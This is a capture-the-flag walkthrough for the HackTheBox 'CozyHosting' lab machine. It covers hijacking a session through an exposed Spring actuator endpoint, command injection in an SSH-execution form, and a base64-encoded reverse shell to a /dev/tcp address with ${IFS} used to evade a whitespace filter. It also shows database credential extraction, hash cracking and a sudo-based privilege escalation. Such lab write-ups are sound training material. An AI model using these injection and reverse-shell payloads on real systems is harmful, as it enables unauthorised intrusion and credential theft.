Skip to main content

CozyHosting

Enumeration

Initial scans shows exposed ports 22 and 80

Looks like it's trying to redirect to http://cozyhosting.htb. Let's add it to the /etc/hosts

curl -I cozyhosting.htb
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 21 Sep 2023 19:13:45 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US

Let's try to explore the directories with gobuster and it could not find anything.

Checking the headers, looks like the Content-Type is application/json, so probably there's an API behind

Checking the error pages seems the one generated by Spring Framework. We can probe that by checking if it has the /actuator endpoint public.

Probably the nginx server is acting as a proxy since the actuator returns localhost:8080 as the API address

/actuator/sessions returns interesting data:

{"71555732BBE84C711A910118954B72C3":"kanderson","24BF9E9AC99A7F02F4006F36634DB3F1":"UNAUTHORIZED","3C47D6E35D00F4B01B7EF0EE5F3305FA":"UNAUTHORIZED","217ABE7CFC46C07AF69818945F9B702E":"kanderson"}

Foothold

If we check the page, looks like there's a login page, if we change the JSESSIONID cookie by the value in the /actuator/sessions for user kanderson, we'll be redirected to the /admin page.

Once we enter the admin page we see a form that if we send it will call the /executessh endpoint ...

From the error, we could think that is calling the ssh command directly, so maybe this is vulnerable to command injection. We can try to get the output of id command.

Looks like hostname is validated somehow, however with username we can break the command execution:

curl -vvvvv 'http://cozyhosting.htb/executessh' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: JSESSIONID=B762D32C36AE8003E582400AC70E4261' \
--data-raw 'host=localhost&username=`id`'

It's pretty hard to know how to make the command execution works, you need to try several combinations with \`` and ;` and eventually got it working. Now let's open a reverse shell. In order to get the reverse shell, take into account that username cannot have spaces, a minimal validation is done.

To generate the payload that generates the reverse shell:

  1. Search a payload here: https://www.revshells.com/
/bin/bash -i >& /dev/tcp/10.10.14.183/4444 0>&1
  1. Let's base64 it:
echo "bash -i >& /dev/tcp/10.10.14.183/4444 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg==
  1. Make the payload: echo the base64 payload, then base64 decode the payload and let bash run the payload:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg== | base64 -d | bash

You can run that payload and it should create a new connection to the listening nc

  1. The endpoint don't link spaces, so let's replace it for the IFS character:

echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg=="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash

However, if we try that payload, it will complain about whitespaces...

  1. Do URL-encode and it will work

Now we have foot-hold in the machine but without a relevant user

Lateral movement

if we do ls we can see a jarfile, let's download it. Searching inside the jar file, we see a promising thing, the configuration for the postgres database:

spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
psql --user postgres --host localhost --port 5432 --password

We can find the users database:

   name    |                           password                           | role

-----------+--------------------------------------------------------------+-----
--
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n

The password for kanderson can be seen in the code and is MRdEQuv6~6P9

Nothing seems to indicate the password for user josh. Let's try to crack the password for admin with john the ripper:

john exfil/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

With that password, we can now enter the ssh with user josh and we are in and we can read the user flag.

Privilege escalation

sudo -l shows that the user josh can run ssh with root privileges, let's check in GTFO bins how to use it to get root access.